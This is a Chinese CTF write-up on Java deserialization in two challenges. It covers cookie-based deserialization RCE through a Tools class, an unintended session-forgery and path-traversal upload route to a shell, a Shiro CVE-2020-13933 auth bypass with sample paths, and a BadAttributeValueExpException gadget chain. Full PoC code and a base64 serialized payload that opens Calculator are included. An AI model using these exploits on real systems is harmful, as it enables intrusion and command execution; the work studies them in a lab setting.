从CTF题学Java反序列化(二)

springmvcdemo

先过了一遍源码,看了一下功能

showpic.form?file=有类似于文件包含的功能

uploadpic.form可以上传文件,但是需要session中group为webmanager

Tools.class有序列化与反序列化功能,其中Tools自己这个类可被序列化,并且实现了readObject方法还有个危险函数ProcessBuilder((String[])obj)).start()

题目正常功能是对ClientInfo类存取session内容进行序列化反序列化,但是这个cinfo内容根据代码逻辑来看实际上是用户可控的

然后看到Tools类和ClientInfo类的serialVersionUID相同,为反序列化Tools类创造了条件

预期解

通过ClientInfoFilter类中调用Tools.parse对传入cookie内容直接进行反序列化的漏洞,加上Tools类中有ProcessBuilder((String[])obj)).start()函数可以执行命令,以及serialVersionUID相同,我们可以直接构造序列化Tools类,然后修改cookie,触发反序列化漏洞达成命令执行

注意ProcessBuilder传入的是String[],我们可以直接本地构造Tools类,注意testCall[]的public属性,或者直接在类中初始化命令也可:

public class Tools implements Serializable {
    private static final long serialVersionUID = 1L;
    
    public static Object parse(byte[] bytes) throws Exception {
        ......
    }
    public String testCall[];
    public static byte[] create(Object obj) throws Exception {
        ......
    }
    
    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
        ......
    }
    //public String testCall[] = {"bash","-c","open /System/Applications/Calculator.app"};
}

然后Poc:

import com.tools.Tools;
import java.util.Base64;

public class Poc {
    public static void main(String[] args) throws Exception {
        Tools evil = new Tools();
        String cmd[] = {"bash","-c","open /System/Applications/Calculator.app"};
        evil.testCall = cmd; // 这里我们前面修改了public属性所以可以直接改
        byte[] bytes = Tools.create(evil);
        Base64.Encoder encoder = Base64.getEncoder();
        System.out.println(encoder.encodeToString(bytes));
    }
}

然后得到base64后的序列化值修改cookie后触发弹计算器:

从CTF题学Java反序列化(二)_第1张图片

非预期

上传需要group为webmanager,但是我们可以伪造session:

从CTF题学Java反序列化(二)_第2张图片

然后就可以正常上传文件了,文件上传没有检测,上传目录是WEB-INF/resource/,但是文件包含showpic.form?file=当文件后缀为jsp时,工作目录是WEB-INF/且无法路径穿越,所以尝试上传时路径穿越:

从CTF题学Java反序列化(二)_第3张图片

然后利用文件包含执行拿shell

javaweb

运行起来是个登录页面,所以首先看到LoginController.classLoginController,发现使用shiro的AuthenticationToken来认证用户名密码,百度了解了一下:

从CTF题学Java反序列化(二)_第4张图片

继续看到在MyRealm.class重写了doGetAuthenticationInfo,判断用户名为admin,密码随机生成

从CTF题学Java反序列化(二)_第5张图片

  • IndexController.class对cookie进行了序列化反序列化操作
  • MyFilter.classAllFilter.classIAllFilter.class对url进行解析

但是这里出现了一个问题,shiro-1.5.3版本存在CVE-2020-13933权限绕过,具体原理主要是shiro层在处理url上和spring上存在差异,主要是在处理;上的问题,通过构造含有;符号的url即可绕过shiro在权限上的处理

这道题对url的处理基本与CVE-2020-13933一致,所以可以使用以下path绕过

/index/%3b/admin
/index/'/admin
/index/select/admin
/index/union/admin

从CTF题学Java反序列化(二)_第6张图片

看到展示了访问日志,并没有其他功能,继续审计源码

Tools类的exeCmd实现了命令执行:

从CTF题学Java反序列化(二)_第7张图片

LogHandler类的invoke方法和toString方法分别都调用了exeCmd实现了写日志和读日志功能

现在命令执行的点和反序列化的点都找到了,剩下就是需要找到一条将其连起来的利用链

在之前在cc链中注意到一个能触发toString的类BadAttributeValueExpException,它重写的readObject函数会自动调用类属性的toString方法

这个BadAttributeValueExpException是原生类,jdk8下可以使用,不需要考虑环境问题

需要注意这里System.getSecurityManager为空,就是当前的jvm环境不能启用安全管理器

从CTF题学Java反序列化(二)_第8张图片

利用链:

BadAttributeValueExpException.readObject()
        -> valObj.toString() -> LogHandler.toString()
        -> Tools.exeCmd()

模仿cc5中BadAttributeValueExpException的用法,完成调用链

构造poc:

//Poc.java
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import com.ctf.javaweb.tools.LogHandler;
import com.ctf.javaweb.tools.Tools;

public class Poc {
    public static void main(String[] args) throws Exception{
    LogHandler logHandler = new LogHandler();
    BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
    Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
    field.setAccessible(true);
    field.set(badAttributeValueExpException, logHandler);
    String datas = Tools.base64Encode(Tools.serialize(badAttributeValueExpException));
    System.out.println(datas);
    }
}
//com/ctf/javaweb/tools/LogHandler.java
package com.ctf.javaweb.tools;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashSet;

public class LogHandler extends HashSet implements InvocationHandler {
    private static final long serialVersionUID = 1L;
    private Object target;
    private String readLog = "open /System/Applications/Calculator.app";
    private String writeLog = "echo /test >> /tmp/accessLog";
    
    public LogHandler() {}
    
    public LogHandler(Object target) {
        this.target = target;
    }
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        Tools.exeCmd(this.writeLog.replaceAll("/test", (String)args[0]));
        return method.invoke(this.target, args);
    }
    
    public String toString() {
        return Tools.exeCmd(this.readLog);
    }
}
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIACEIABmZvcm1hdEkACmxpbmVOdW1iZXJMAA9jbGFzc0xvYWRlck5hbWVxAH4ABUwADmRlY2xhcmluZ0NsYXNzcQB+AAVMAAhmaWxlTmFtZXEAfgAFTAAKbWV0aG9kTmFtZXEAfgAFTAAKbW9kdWxlTmFtZXEAfgAFTAANbW9kdWxlVmVyc2lvbnEAfgAFeHABAAAACXQAA2FwcHQAA1BvY3QACFBvYy5qYXZhdAAEbWFpbnBwc3IAH2phdmEudXRpbC5Db2xsZWN0aW9ucyRFbXB0eUxpc3R6uBe0PKee3gIAAHhweHNyACBjb20uY3RmLmphdmF3ZWIudG9vbHMuTG9nSGFuZGxlcgAAAAAAAAABAgADTAAHcmVhZExvZ3EAfgAFTAAGdGFyZ2V0cQB+AAFMAAh3cml0ZUxvZ3EAfgAFeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAAAeHQAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHBwdAAcZWNobyAvdGVzdCA+PiAvdG1wL2FjY2Vzc0xvZw==

从CTF题学Java反序列化(二)_第9张图片

修改cookie的userinfo字段,刷新页面

从CTF题学Java反序列化(二)_第10张图片

你可能感兴趣的:(java,开发语言,spring,算法)